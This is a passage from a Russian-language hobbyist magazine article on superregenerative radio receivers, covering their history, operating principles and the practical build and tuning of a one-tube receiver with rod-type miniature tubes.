Од­нако широко­го рас­простра­нения в  качес­тве регене­рато­ра уль­тра­ауди­он


не  получил из‑за слож­ности регули­ров­ки обратной свя­зи. Час­то обратную
связь не  тро­гали, а  регули­рова­ли уси­ление лам­пы изме­нени­ем тока накала
или анод­ного нап­ряжения. Сто­ит отме­тить, что в ран­нем вари­анте отсутс­тво‐­
вал резис­тор утеч­ки, это свя­зано с тем, что в пер­вых лам­пах был пло­хой ваку‐­
ум и  роль соп­ротив­ления утеч­ки выпол­нял ион­ный ток. Впос­ледс­твии ваку­ум
стал глуб­же, ион­ный ток сде­лал­ся пре­неб­режимо мал, и инже­неры добави­ли
в схе­му резис­тор.

СВЕРХРЕГЕНЕРАТОР
И вот при­мер­но в 1922 году Армстрон­гу приш­ла в голову идея пери­оди­чес­ки
сры­вать генера­цию в  регене­рато­ре. В  этом слу­чае мож­но не  вол­новать­ся
о  пороге генера­ции, наобо­рот, разум­но выс­тавлять обратную связь
за  порогом. Для  сры­ва генера­ции Армстронг исполь­зовал внеш­ний генера‐­
тор отно­ситель­но низ­кой час­тоты, выше час­тоты голоса, но зна­читель­но ниже
час­тоты сиг­нала. Такая схе­ма называ­ется «свер­хре­гене­ратор с  внеш­ней
супери­заци­ей».

Свер­хре­гене­ратор Армстрон­га с внеш­ней супери­заци­ей

Ге­нера­тор, соб­ранный на левой лам­пе, воз­дей­ству­ет на сет­ку пра­вой лам­пы,


пери­оди­чес­ки сры­вая в ней генера­цию и сме­щая ее рабочую точ­ку в область
отри­цатель­ных нап­ряжений. Так­же Армстронг показал, что генери­ровать
вспо­мога­тель­ную час­тоту мож­но на той же лам­пе, — этот эффект называ­ется
авто­супе­риза­ция.

Свер­хре­гене­ратор Армстрон­га с авто­супе­риза­цией

Здесь все при­мер­но так же, как и в пре­дыду­щей схе­ме, с той лишь раз­ницей,
что лам­па одна и  высоко­час­тотные колеба­ния генери­руют­ся лишь во  вре­мя
опре­делен­ного нап­ряжения на  вспо­мога­тель­ном кон­туре час­тоты гашения.
Сам Армстронг ука­зыва­ет, что пер­вая схе­ма работа­ет луч­ше и устой­чивее.
Пе­ревод упо­мяну­той статьи вышел и  у нас в  жур­нале «Друг радио»
в мае 1925 года. Вни­матель­ный читатель заметит, что в схе­мах из аме­рикан‐­
ской статьи отсутс­тву­ет грид­лик, тог­да как в нашем перево­де он появ­ляет­ся.
Это  тоже свя­зано с  глу­биной ваку­ума ламп. Кста­ти говоря, сущес­тву­ет
еще одна схе­ма свер­хре­гене­рато­ра с авто­супе­риза­цией, где пери­оди­чес­кий
срыв генера­ции дос­тига­ется имен­но за  счет грид­лика. Это  схе­ма Флю‐­
эллинга, пред­став­ленная в 1923 году.

Схе­ма Флю­эллинга

Как видишь, она один в  один похожа на  схе­му клас­сичес­кого регене­рато­ра,
отли­чия тут толь­ко в емкости сеточ­ного кон­денса­тора и соп­ротив­лении грид‐­
лика. При  воз­никно­вении генера­ции кон­денса­тор заряжа­ется до  такой сте‐­
пени, что­бы зак­рыть лам­пу и  сор­вать генера­цию. Пос­ле это­го кон­денса­тор
начина­ет раз­ряжать­ся через соп­ротив­ление утеч­ки, что через какое‑то вре­мя
при­ведет к новой вспыш­ке генера­ции. Нес­мотря на то что две пос­ледние схе‐­
мы под­разуме­вают авто­супе­риза­цию, их сле­дует раз­личать. В  схе­ме
Армстрон­га час­тота супери­зации пос­тоян­на, тог­да как  в схе­ме Флю­эллинга
она меня­ется вмес­те с интенсив­ностью вхо­дяще­го сиг­нала, и это сущес­твен‐­
но вли­яет на  механизм детек­тирова­ния сиг­нала, о  чем мы погово­рим чуть
поз­же.
На древ­ние схе­мы мы пог­лядели, оста­лось разоб­рать­ся, как  они работа‐­
ют. Идея ока­залась впол­не жиз­неспо­соб­ной и, судя по  отзы­вам из  пуб‐­
ликаций двад­цатых годов, обес­печива­ла очень высокую по  тем вре­менам
чувс­тви­тель­ность. Одна­ко имен­но в  двад­цатых годах она не  поль­зовалась
популяр­ностью, в отли­чие от рас­смот­ренно­го выше регене­рато­ра. В чем при‐­
чина? А при­чин было нес­коль­ко.
Во‑пер­вых, начиная с  Армстрон­га и  вплоть до  кон­ца двад­цатых годов
свер­хре­гене­рато­ры исполь­зовались пре­иму­щес­твен­но на длин­ных и сред­них
вол­нах. Из это­го и вытека­ли все проб­лемы. Как выяс­нилось поз­днее, для нор‐­
маль­ной работы свер­хре­гене­рато­ра час­тота гашения дол­жна быть по  мень‐­
шей мере в 100 раз ниже час­тоты сиг­нала, лишь на сред­них вол­нах ее мож­но
было под­нять до 10 кГц. Дело в том, что час­тота гашения попада­ла нап­рямую
на  науш­ники или  динамик, что зву­чало как  раз­дра­жающий свист. Впро­чем,
до  какой‑то сте­пени этот недос­таток нивели­ровал­ся кап­суль­ными науш‐­
никами, у  которых силь­ный про­вал в  АЧХ выше  5  кГц. Но  так как  ампли­туда
сиг­нала гашения во  мно­го раз боль­ше ампли­туды полез­ного сиг­нала, даже
кап­суль­ные науш­ники замет­но свис­тели. На  длин­ных вол­нах, где час­тоту
гашения надо опус­тить ниже 5 кГц, не спа­сет даже ФНЧ, с которы­ми в то вре‐­
мя была нап­ряжен­ка. Уже одна эта проб­лема силь­но под­мочила репута­цию
свер­хре­гене­рато­ра.
Во‑вто­рых, он отли­чает­ся низ­кой селек­тивностью, что на длин­ных, сред­них
и даже корот­ких вол­нах неп­рием­лемо. И в целом эта проб­лема пло­хо реша‐­
ется. В‑треть­их, свер­хре­гене­ратор излу­чает при сво­ей работе на той час­тоте,
которую при­нима­ет, соз­давая помехи дру­гим при­емни­кам. Наконец, в‑чет‐­
вертых, ска­залась слож­ность нас­трой­ки и  кап­ризность свер­хре­гене­рато­ров,
осо­бен­но если пытать­ся их нас­тра­ивать без  при­боров. Да, нас­тро­ить схе­му
из нес­коль­ких деталей иног­да быва­ет неп­росто, и свер­хре­гене­ратор — одна
из таких схем.
Слу­шать сквозь свист и вой какофо­нию из нес­коль­ких стан­ций, если вдруг
все‑таки удас­тся эту шту­ку запус­тить, — такое себе удо­воль­ствие, осо­бен­но
учи­тывая недоволь­ство соседей из‑за соз­дава­емых свер­хре­гене­рато­ром
помех. В ито­ге на длин­ных, сред­них и корот­ких вол­нах в двад­цатые годы бал
пра­вили регене­рато­ры. Свер­хре­гене­ратор так и  остался  бы остро­умным
курь­езом, если бы не началось осво­ение УКВ.
По­нача­лу про­цесс шел мед­ленно, но, ког­да в  кон­це двад­цатых про­мель‐­
кну­ла пуб­ликация о лу­чах смер­ти, тема быс­тро начала набирать обо­роты. Бук‐­
валь­но за пять лет был взят сна­чала рубеж мет­ровых волн, а затем децимет‐­
ровых и сан­тимет­ровых. Короче, час­тоты рос­ли, как у про­цес­соров в девянос‐­
тые. И  вот тут свер­хре­гене­рато­ры про­яви­ли себя, так как  начиная где‑то
с  10М регене­ратор работа­ет неус­той­чиво. Кро­ме того, пер­вые прос­тей­шие
передат­чики сов­сем не отли­чались ста­биль­ностью час­тоты, в резуль­тате чего
низ­кая селек­тивность свер­хре­гене­рато­ра ста­ла его плю­сом: так нам­ного
про­ще нас­тро­ить­ся на  сиг­нал, и  он не  уплы­вет при  неболь­шом дрей­фе час‐­
тоты передат­чика.
Дру­гим очень акту­аль­ным тог­да пре­иму­щес­твом было то, что свер­хре­гене‐­
ратор тре­бовал толь­ко одну лам­пу. Более того, под­ходила даже оте­чес­твен‐­
ная лам­па «Мик­ро», выпус­кавша­яся с начала двад­цатых годов.

Лам­па «Мик­ро»

Это изде­лие к  кон­цу двад­цатых годов начало замет­но уста­ревать, тем


не менее умель­цы ухит­рялись на ней работать на 5М (60 MГц) и даже на 3M
(сов­ремен­ный FM-диапа­зон). Прав­да, в  пос­леднем слу­чае у  лам­пы уда­ляли
цоколь и  под­паива­лись непос­редс­твен­но к  отво­дам бал­лона, что­бы умень‐­
шить межэлек­трод­ные емкости. Так­же при перехо­де на УКВ поменя­лись схе‐­
мы генера­торов. От  индуктив­ной свя­зи (схе­ма Армстрон­га) отка­зались
в поль­зу трех­точеч­ной схе­мы Хар­тли. Кон­тур при этом чаще все­го выпол­няли
в виде еди­нич­ного вит­ка П‑образной фор­мы из мед­ной труб­ки. Уль­тра­ауди­он
обрел новую жизнь.

УКВ‑вари­ант трех­точки Хар­тли

А в более запущен­ных слу­чаях исполь­зовали сим­метрич­ную схе­му.

Сим­метрич­ная схе­ма

Та­кое решение поз­воляло с выгодой исполь­зовать паразит­ную межэлек­трод‐­


ную емкость «анод — сет­ка» и индуктив­ность выводов лам­пы методом вклю‐­
чения их в  кон­тур. Имен­но в  этой схе­ме из  лам­пы «Мик­ро» уда­лось
выдавить 100 МГц. Дело за малым — оста­лось сде­лать из генера­тора свер‐­
хре­гене­ратор.
Под­ходы тут исполь­зовались все те же: или добавить внеш­ний генера­тор,
или подоб­рать парамет­ры грид­лика. В нашей литера­туре кон­ца двад­цатых —
начала трид­цатых наиболь­шей популяр­ностью поль­зовал­ся под­ход
Армстрон­га. Но со вре­менем, начиная со вто­рой полови­ны трид­цатых годов,
свер­хре­гене­рато­ры с  внеш­ней супери­заци­ей были поч­ти пол­ностью вытес‐­
нены схе­мами с авто­супе­риза­цией Флю­эллинга в силу их прос­тоты. Хотя сто‐­
ит отме­тить, что внеш­няя супери­зация работа­ет луч­ше как  в пла­не устой‐­
чивос­ти, так и в пла­не чувс­тви­тель­нос­ти. Ниже пред­став­лены нес­коль­ко прак‐­
тичес­ких схем УКВ‑свер­хре­гене­рато­ров тех вре­мен.

Трех­точеч­ная схе­ма с внеш­ней супери­заци­ей (1930 год)

Этот при­емник пред­лагал­ся в  1930  году для  при­ема экспе­римен­таль­ного


вещания на вол­нах УКВ в СССР. Как это ни стран­но, но такие экспе­римен­ты
были, хотя вещание в  диапа­зоне УКВ в  СССР запус­тили лишь пос­ле вой­ны.
Как  вид­но из  схе­мы, при­емник сос­тоит из  свер­хре­гене­рато­ра по  трех­точеч‐­
ной схе­ме, генера­тора гашения и  уси­лите­ля ЗЧ. Теп­лый лам­повый звук, что
тут ска­жешь?

Трех­точеч­ная схе­ма с авто­супе­риза­цией Флю­эллинга

Это схе­ма перед­вижно­го при­емни­ка 3М‑диапа­зона от 1935 года. Сос­тоит он


из  свер­хре­гене­ратив­ного кас­када с  авто­гаше­нием и  УЗЧ. Из  при­меча­тель‐­
ного в  нем  — раз­ве что не  сов­сем при­выч­ное вклю­чение грид­лика. Ну
и  напос­ледок раритет: схе­ма при­емни­ка дис­танци­онно­го управле­ния
моделью самоле­та начала пятиде­сятых. Выпол­нена она по  сим­метрич­ной
схе­ме с самога­шени­ем, в ней любопыт­но вклю­чение вспо­мога­тель­ных цепей
гашения. Фак­тичес­ки вспо­мога­тель­ный кон­тур и катуш­ка свя­зи вклю­чены пос‐­
ледова­тель­но основно­му кон­туру.

Свер­хре­гене­ратор по сим­метрич­ной схе­ме с авто­супе­риза­цией

Ес­ли в  этот момент тебе показа­лось, что при­веден­ные схе­мы свер­хре­гене‐­


рато­ров один в  один похожи на  уль­тра­ауди­он, то могу тебя успо­коить:
не  показа­лось. Дей­стви­тель­но, гля­дя на  схе­му, отли­чить свер­хре­гене­ратор
с  авто­супе­риза­цией грид­ликом от  регене­рато­ра в  общем слу­чае не  пред‐­
став­ляет­ся воз­можным. Мож­но ска­зать, это  раз­ные режимы работы одной
схе­мы. Более того, одна и  та же схе­ма в  зависи­мос­ти от  режима работы
может быть регене­рато­ром, свер­хре­гене­рато­ром, авто­дином или  син­хро‐­
дином, и это час­то ста­вит в тупик начина­юще­го ради­олю­бите­ля.

Продолжение статьи

GEEK ←
НАЧАЛО СТАТЬИ

СВЕРХРЕГЕНЕРАТОР
СОБИРАЕМ РАДИОПРИЕМНИК ИЗ ВОСЬМИ
ДЕТАЛЕЙ

КАК ЭТО РАБОТАЕТ


Нес­мотря на  прос­тоту при­веден­ных схем, их работа дос­таточ­но слож­на,
одна­ко мы поп­робу­ем разоб­рать­ся с  этим без  лиш­них фор­мул и  матема‐­
тичес­ких вык­ладок. Для начала рас­смот­рим колеба­тель­ный кон­тур.

Ко­леба­тель­ный кон­тур

Ре­зис­тор R сим­волизи­рует потери в кон­туре. В реаль­ном кон­туре соп­ротив‐­


ление потерь всег­да положи­тель­но, поэто­му, если воз­будить в  нем колеба‐­
ния, они будут спа­дать экспо­нен­циаль­но. При­чем ско­рость спа­да про­пор‐­
циональ­на соп­ротив­лению потерь. Ины­ми сло­вами, доб­ротность кон­тура
обратно про­пор­циональ­на соп­ротив­лению потерь.

Спад ампли­туды колеба­ний в реаль­ном кон­туре

Те­перь пред­ста­вим, что кон­тур вхо­дит в сос­тав регене­рато­ра с положи­тель‐­


ной обратной связью выше кри­тичес­кой. В  нашей модели это  экви­вален­тно
отри­цатель­ному зна­чению соп­ротив­ления потерь, поэто­му началь­ные
колеба­ния, при­сутс­тву­ющие в  кон­туре (нап­ример, наведен­ный сиг­нал
или  шумы свер­хре­гене­рато­ра), будут нарас­тать так­же экспо­нен­циаль­но.
Одна­ко до  бес­конеч­ности это  про­дол­жать­ся не  может, и  в ито­ге ампли­туда
ста­били­зиру­ется на  каком‑то уров­не (зависит от  осо­бен­ностей кон­крет­ной
схе­мы), а  соп­ротив­ление потерь ста­нет рав­ным нулю. На  гра­фике это  будет
выг­лядеть так.

Кон­тур в генера­торе

Те­перь, зная вли­яние соп­ротив­ления потерь на  про­цес­сы в  кон­туре, мы


можем перей­ти к  свер­хре­гене­рато­ру. Итак, в  свер­хре­гене­рато­ре с  внеш­ней
супери­заци­ей под  воз­дей­стви­ем колеба­ний гашения пери­оди­чес­ки (с час‐­
тотой супери­зации) изме­няет­ся соп­ротив­ление потерь в  кон­туре с  отри‐­
цатель­ного на положи­тель­ное. Кро­ме того, на кон­тур дей­ству­ет сла­бый внеш‐­
ний сиг­нал из  антенны. В  резуль­тате в  кон­туре воз­ника­ют пери­оди­чес­кие
вспыш­ки колеба­ний, при­чем харак­тер этих вспы­шек зависит от  ампли­туды
внеш­него сиг­нала в кон­туре. Рас­смот­рим ситу­ацию, ког­да сиг­нал слаб.

Вспыш­ки при сла­бом сиг­нале

Оран­жевый гра­фик отоб­ража­ет колеба­ния гашения, упро­щен­но в виде меан‐­


дра. Во  вре­мя мак­симумов соп­ротив­ление потерь в  кон­туре отри­цатель­но,
во  вре­мя миниму­мов положи­тель­но. Синий гра­фик отра­жает ампли­туду сиг‐­
нала в  кон­туре. Теперь пос­мотрим, что будет, если на  кон­тур дей­ству­ет сиг‐­
нал боль­шей ампли­туды.

Силь­ный сиг­нал

Ши­рина высоко­час­тотной вспыш­ки уве­личи­лась. Ста­новит­ся оче­вид­но, что


ширина высоко­час­тотных вспы­шек про­пор­циональ­на ампли­туде (на самом
деле логариф­му ампли­туды) сиг­нала в кон­туре. А это зна­чит, что мы получи­ли
не  что иное, как  ШИМ‑сиг­нал, и  свер­хре­гене­ратор явля­ется исто­ричес­ки
пер­вым при­емни­ком, дис­кре­тизи­рующим при­нима­емые сиг­налы!
Из это­го так­же сле­дует, что час­тота супери­зации дол­жна быть минимум
в  два раза выше наиболь­шей жела­емой час­тоты на  выходе детек­тора. Рас‐­
смот­ренный режим работы свер­хре­гене­рато­ра называ­ется логариф­мичес‐­
ким, так как  ширина высоко­час­тотных вспы­шек про­пор­циональ­на логариф­му
ампли­туды исходно­го сиг­нала в  кон­туре. В  этом режиме чувс­тви­тель­ность
свер­хре­гене­рато­ра рас­тет с рос­том час­тоты супери­зации. Одна­ко повышать
ее бес­конеч­но не удас­тся: в какой‑то момент генера­ция будет вов­се сры­вать‐­
ся, и свер­хре­гене­ратор перес­танет работать.
Нес­коль­ко ниже это­го момен­та находит­ся такой режим, при  котором
вспыш­ки высоко­час­тотных колеба­ний гасят­ся рань­ше дос­тижения пре­дель‐­
ной ампли­туды. В  этом режиме от  интенсив­ности началь­ного сиг­нала в  кон‐­
туре будет зависеть не  столь­ко ширина вспы­шек генера­ции, сколь­ко ампли‐­
туда этих вспы­шек. Такой режим называ­ется линей­ным, и в этом слу­чае дос‐­
тига­ется мак­сималь­ная чувс­тви­тель­ность. На  прак­тике удоб­но оста­вать­ся
в  логариф­мичес­ком режиме, пос­коль­ку он наибо­лее устой­чив. Час­тота
супери­зации в этом слу­чае поряд­ка 100 кГц и зависит от кон­крет­ной схе­мы.
В слу­чае же схе­мы, исполь­зующей самога­шение с  помощью грид­лика,
ситу­ация дру­гая. Срыв генера­ции про­исхо­дит за  счет заряд­ки кон­денса­тора
в  цепи сет­ки вып­рямлен­ным нап­ряжени­ем собс­твен­ных колеба­ний генера‐­
тора. Вып­рямле­ние про­исхо­дит на учас­тке «сет­ка — катод». Поэто­му для сры‐­
ва генера­ции необ­ходимо дос­тигнуть мак­сималь­ной ампли­туды. Колеба­ния
в  кон­туре нарас­тают, дос­тига­ют мак­симума, пос­ле чего кон­денса­тор в  цепи
сет­ки заряжа­ется, лам­па зак­рыва­ется, и колеба­ния начина­ют спа­дать. Через
некото­рое вре­мя кон­денса­тор раз­ряжа­ется, и  про­цесс начина­ется вновь.
На при­веден­ных ниже гра­фиках показа­но, как внеш­ний сиг­нал вли­яет на этот
про­цесс.

Воз­дей­ствие малого сиг­нала

Воз­дей­ствие силь­ного сиг­нала

Лег­ко видеть, что дли­тель­ность вспы­шек оста­ется пос­тоян­ной, одна­ко меня‐­


ется час­тота их воз­никно­вения. Таким обра­зом, здесь мы получа­ем час‐­
тотно‑импуль­сную модуля­цию. Из  это­го и  вытека­ют раз­личия: в  дан­ном
режиме чувс­тви­тель­ность рас­тет с  умень­шени­ем час­тоты воз­никно­вения
вспы­шек. В осталь­ном все ана­логич­но слу­чаю с внеш­ней супери­заци­ей. Час‐­
тоту вспы­шек в  таком режиме разум­но выс­тавлять око­ло  25  кГц, впро­чем,
в нашем слу­чае это силь­но зависит от исполь­зуемой схе­мы.
Та­ким обра­зом, в кон­туре свер­хре­гене­рато­ра мы име­ем вспыш­ки генера‐­
ции перемен­ной ширины или  перемен­ной час­тоты, они детек­тиру­ются учас‐­
тком «сет­ка — катод» и при­сутс­тву­ют в анод­ной цепи в про­детек­тирован­ном
виде. В  этом слу­чае свер­хре­гене­ратор работа­ет как  ампли­туд­ный детек­тор
с  очень боль­шим уси­лени­ем. В  литера­туре ука­зыва­ют, что уси­ление может
дос­тигать 1 000 000. Хорошо, с АМ разоб­рались, а что нас­чет ЧМ? Свер­хре‐­
гене­ратор перева­рива­ет и  ЧМ: дело в  том, что при  некото­рой расс­трой­ке
ЧМ‑модуля­ция пре­обра­зует­ся в  АМ на  ска­те резонан­сной харак­терис­тики
кон­тура.

Пре­обра­зова­ние ЧМ в АМ на ска­те резонан­сной харак­терис­тики

Ра­бота­ет такой хак дос­таточ­но неп­лохо, одна­ко за  это при­ходит­ся пла­тить
пло­хой линей­ностью. Резонан­сная кри­вая опи­сыва­ется гаус­совой фун­кци­ей,
и ее ска­ты лишь с очень боль­шой натяж­кой мож­но наз­вать пря­мой. Чувс­тви‐­
тель­ность тоже стра­дает, так как  при­ходит­ся работать с  некото­рой отс­трой‐­
кой от  мак­симума кри­вой, где чувс­тви­тель­ность мак­сималь­на,  — но  такова
пла­та за прос­тоту.
По­это­му ждать от  свер­хре­гене­рато­ра Hi-Fi не  сто­ит, а  вот аутен­тично­го
зву­ка из  сороко­вых  — сколь­ко угод­но. Что же до  чувс­тви­тель­нос­ти, то хоть
она и  не мак­сималь­на, но  дос­таточ­но высока. Рас­смот­ренная ниже схе­ма
при  вход­ном сиг­нале поряд­ка  100  мкВ дает на  выходе сиг­нал зву­ковой час‐­
тоты око­ло  1  В. Это  говорит о  том, что коэф­фици­ент уси­ления
как  минимум  10  000, что очень и  очень солид­ная величи­на для  схе­мы
на одной лам­пе. На этом, думаю, мож­но закон­чить с теорией и наконец взять‐­
ся за паяль­ник.

Продолжение статьи

GEEK ←
НАЧАЛО СТАТЬИ

СВЕРХРЕГЕНЕРАТОР
СОБИРАЕМ РАДИОПРИЕМНИК ИЗ ВОСЬМИ
ДЕТАЛЕЙ

ПРАКТИКА
Нач­нем с базовой схе­мы. Она прос­та как пять копе­ек.

Ба­зовая схе­ма свер­хре­гене­рато­ра

По­чему при­емник соб­ран имен­но на лам­пе? Дело в том, что лам­повый свер‐­
хре­гене­ратор схе­мотех­ничес­ки наибо­лее прост, кро­ме того, есть в лам­повых
конс­трук­циях какая‑то роман­тика. Что каса­ется выбора лам­пы — мож­но ска‐­
зать, подой­дет прак­тичес­ки любой три­од, тет­род или  пен­тод, желатель­но,
конеч­но, высоко­час­тотный и с кру­тиз­ной поболь­ше. Чем выше кру­тиз­на при‐­
менен­ной лам­пы, тем менее кри­тич­на конс­трук­ция к исполне­нию.
Тем не  менее хочет­ся, что­бы при­емни­чек был авто­ном­ный и  его мож­но
было запитать от батаре­ек. При этом было бы здо­рово не менять их каж­дый
день. Такому тре­бова­нию луч­ше все­го удов­летво­ряют стер­жне­вые свер­хми‐­
ниатюр­ные лам­пы — наш ответ нувис­торам.
У стер­жне­вых ламп очень низ­кий ток накала, что поз­воля­ет приб­лизить­ся
по  пот­ребле­нию к  тран­зистор­ным устрой­ствам. Так, у  исполь­зован­ной мной
лам­пы  1Ж17б ток накала  48  мА, у  лам­пы  1Ж29б  — 60  мА, а  у  1Ж24б и  вов‐­
се  18  мА. Кро­ме того, они отлично чувс­тву­ют себя на  высоких час­тотах.
Единс­твен­ный минус  — это  низ­кая кру­тиз­на, за  исклю­чени­ем  1Ж29Б,
у  которой  2,5  мА/В. У  осталь­ных стер­жне­вых око­ло  1  мА/В. Ну да  как с  этим
бороть­ся, нам извес­тно: надо делать кон­тур боль­шей доб­ротнос­ти, нап‐­
ример, в виде еди­нич­ного вит­ка из тол­сто­го мед­ного про­вода.
Я сде­лал кон­тур из  мед­ного про­вода сечени­ем  2,5  мм и  дли­ной око‐­
ло  30  см, катуш­ка свя­зи изго­тов­лена из  того же про­вода. Для  нас­трой­ки
исполь­зует­ся два подс­тро­ечных кон­денса­тора, один — для гру­бой нас­трой­ки,
вто­рой — для точ­ной подс­трой­ки: нас­тра­ивать­ся одним кон­денса­тором край‐­
не неудоб­но. Мон­таж вел­ся в ман­хэттен­ском сти­ле. Дрос­сель мож­но исполь‐­
зовать завод­ской на  100  мкГн, но  луч­шие резуль­таты дает самодель­ный.
Для  это­го мож­но взять  75–100  см про­вода сечени­ем  0,2  мм, намотать его
на  кар­кас диамет­ром око­ло  5  мм. Его индуктив­ность, разуме­ется, гораз­до
мень­ше 100 мкГн, одна­ко дли­на про­вода близ­ка к 1/4 дли­ны вол­ны.

Свер­хре­гене­ратор с самога­шени­ем на 1Ж17Б

Свер­хре­гене­ратор с самога­шени­ем на 1Ж17Б

Ре­комен­дации к мон­тажу обыч­ные: про­вода покоро­че, мон­таж по воз­можнос‐­


ти более жес­ткий. Науш­ники при­мене­ны ста­роре­жим­ные высоко­омные (TA56-
M 1600  Ом), их, в  прин­ципе, до  сих пор мож­но купить на  какой‑нибудь
барахол­ке, на  Ави­то цена стар­тует со  100  р. Если высоко­омных науш­ников
нет, мож­но вклю­чить сов­ремен­ные низ­коом­ные через тран­сфор­матор. Мощ‐­
ности тут мизер­ные, так что мож­но взять прак­тичес­ки любой маломощ­ный
тран­сфор­матор с  коэф­фици­ентом тран­сфор­мации око­ло  1:10, бонусом
от такой замены будет появ­ление басов.
От тран­сфор­матора мож­но и  вов­се отка­зать­ся и  исполь­зовать резис­тор
в качес­тве наг­рузки, прав­да при­дет­ся подоб­рать его величи­ну для опти­маль‐­
ного режима работы. Выход ЗЧ в  этом слу­чае удоб­но сни­мать через RS-
филь­тр, к выходу которо­го мож­но под­клю­чить уси­литель. Питание при­емни­ка
батарей­ное, для  накала исполь­зует­ся акку­муля­тор AA NiMH. Мож­но взять
и  обыч­ную батарей­ку, но  акку­муля­тор пред­почти­тель­нее из‑за нап­ряжения
в  1,2  В, под  которое рас­счи­тан накал (это не  сов­падение). С  обыч­ной
батарей­кой на  1,5  В  лам­па будет дег­радиро­вать. Впро­чем, этот про­цесс
не  то что  бы очень быс­трый, и, если лам­пу не  жал­ко, мож­но исполь­зовать
батарей­ку.
Анод пита­ется от  батареи из  5  крон, которая дает око­ло  45  В. Анод­ное
нап­ряжение мож­но гру­бо варь­иро­вать, под­клю­чаясь к  раз­ным точ­кам
батареи. За  раз­ряд батареи мож­но осо­бо не  бес­поко­ить­ся, все пред­став‐­
ленные схе­мы пот­ребля­ют мень­ше 1 мА, так что она ско­рее пересох­нет, чем
сядет. Моя уже тре­тий год в  строю и  все еще  выда­ет  47  В. Плю­сы батареи
еще и в том, что она не дает шумов по питанию, а чувс­тви­тель­ность свер­хре‐­
гене­рато­ра огра­ниче­на уров­нем его собс­твен­ных шумов. Впро­чем, на  эту
тему мож­но не замора­чивать­ся, потому что шумит он силь­но, это важ­но ско‐­
рее для регене­рато­ров.

Схе­ма с самога­шени­ем и выходом на уси­литель

Что же каса­ется нас­трой­ки, то она зак­люча­ется в  под­боре соп­ротив­ления R


и  емкости кон­денса­тора С1, что­бы получить опти­маль­ную час­тоту гашения.
Неп­рият­ная осо­бен­ность зак­люча­ется в  том, что величи­ны их опти­маль­ных
номина­лов будут зависеть прак­тичес­ки от все­го. В качес­тве лам­пы в этой схе‐­
ме луч­ше взять  1Ж29Б, так как  у нее выше кру­тиз­на и  колеба­ния гашения
будут более устой­чивы, но 1Ж17Б тоже мож­но зас­тавить работать.
В нас­трой­ке этой шту­ки очень полезен осциллог­раф, более того, мож­но
ска­зать, что без  него нас­тра­ивать схе­му неудоб­но. Что­бы мень­ше вли­ять
на  схе­му осциллог­рафа, луч­ше свя­зать его с  кон­туром с  помощью катуш­ки
свя­зи (см. фото). Впро­чем, эту катуш­ку мож­но сфор­мировать из  про­вода
щупа и  прос­то положить недале­ко от  устрой­ства, пос­ле чего, под­бирая R,
С1 и величи­ну нап­ряжения анод­ной батареи, добивать­ся устой­чивой час­тоты
гашения. Сам сиг­нал гашения мож­но наб­людать на  сет­ке лам­пы, щуп к  ней
под­клю­чает­ся через дрос­сель или  резис­тор в  нес­коль­ко десят­ков кило­ом,
в  про­тив­ном слу­чае мож­но сор­вать колеба­ния. Для  нас­тро­енно­го свер­хре‐­
гене­рато­ра осциллог­рамма будет выг­лядеть как‑то так.

Ос­циллог­рамма колеба­ний в кон­туре свер­хре­гене­рато­ра с авто­супе­‐


риза­цией

Жел­тый гра­фик  — нап­ряжение на  сет­ке (вклю­чена филь­тра­ция по  ВЧ),


синий  — в  кон­туре. Паразит­ное излу­чение при  нас­трой­ке удоб­но исполь‐­
зовать, что­бы попасть в диапа­зон. Так, запус­тив в осциллог­рафе ана­лиза­тор
спек­тра, мож­но дос­таточ­но лег­ко выяс­нить, на  какую час­тоту нас­тро­ен при‐­
емник.

WARNING
Свер­хре­гене­ратор во вре­мя работы излу­чает сиг‐­
нал в  эфир и  соз­дает помехи окру­жающим при‐­
емни­кам, осо­бен­но если он не нас­тро­ен и не про‐­
исхо­дит сры­ва собс­твен­ных колеба­ний. Впро­чем,
сей­час это уже не так кри­тич­но, пос­коль­ку радио
слу­шают мало, но  этот эффект надо дер­жать
в  уме. А  с точ­ки зре­ния законо­датель­ства
без  лицен­зии в  диапа­зоне ФМ мож­но вещать
с  мощ­ностью до  10  мВт. При  пра­виль­ной нас‐­
трой­ке рас­смот­ренные схе­мы впи­сыва­ются в этот
пре­дел с запасом.

Пред­став­ленная конс­трук­ция работа­ет и  пря­мо‑таки шокиру­ет сво­ей прос‐­


тотой. Одна­ко за  все при­ходит­ся пла­тить, и  в дан­ном слу­чае пла­той будет
неус­той­чивость режима свер­хре­гене­рации. Так, нас­тро­енный при­емник ловит
силь­ные стан­ции даже без  внеш­ней антенны прос­то кон­туром, одна­ко под‐­
клю­чение внеш­ней антенны сби­вает режим работы и  может вов­се сор­вать
колеба­ния гашения, пос­ле чего под­бирать режим при­дет­ся вновь. Режим
может ухо­дить и  во вре­мя перес­трой­ки по  диапа­зону, это  очень неудоб­но.
Мож­но ли с  этим что‑нибудь сде­лать? Мож­но, нуж­но прик­рутить внеш­ний
источник супери­зации!
Не­даром в двад­цатые и трид­цатые годы была так популяр­на схе­ма с внеш‐­
ней супери­заци­ей. Она, во‑пер­вых, гораз­до устой­чивее в  работе, а  сверх
того обес­печива­ет боль­шую чувс­тви­тель­ность. Так как  же прик­рутить
к нашему при­емни­ку внеш­ний генера­тор гашения?
Тут вари­анты при­мер­но такие же, как с модуля­цией: сиг­нал гашения мож­но
подавать на анод, на сет­ку или катод. Пер­вый вари­ант был осо­бен­но популя‐­
рен в прош­лом. Кро­ме того, учи­тывая, что наша схе­ма соб­рана на пен­тоде (в
три­одном вклю­чении), сиг­нал гашения мож­но подавать в экра­ниру­ющую сет‐­
ку. Из этих вари­антов катод­ный мож­но отбро­сить, так как у нас исполь­зует­ся
пря­мона­каль­ная лам­па и  в дан­ном слу­чае это  неудоб­но. Анод­ное гашение
работа­ет, одна­ко тре­бует точ­ной нас­трой­ки ампли­туды вспо­мога­тель­ного
сиг­нала и  анод­ного нап­ряжения. Поп­робовав этот вари­ант, я отка­зал­ся
от него.
Ос­тались два вари­анта через управля­ющую и  экра­ниру­ющие сет­ки, и  вот
эти вари­анты работа­ют очень хорошо. В  качес­тве внеш­него генера­тора
на  эта­пе экспе­римен­тов исполь­зовал­ся китай­ский ГСС. Экспе­римен­ты
показа­ли, что в  экра­ниру­ющую сет­ку нуж­но подавать сиг­нал с  ампли­тудой
око­ло  50  В. Для  это­го удоб­но исполь­зовать неболь­шой повыша­ющий тран‐­
сфор­матор с фер­ритовым сер­дечни­ком: я его сде­лал, перемо­тав тран­сфор‐­
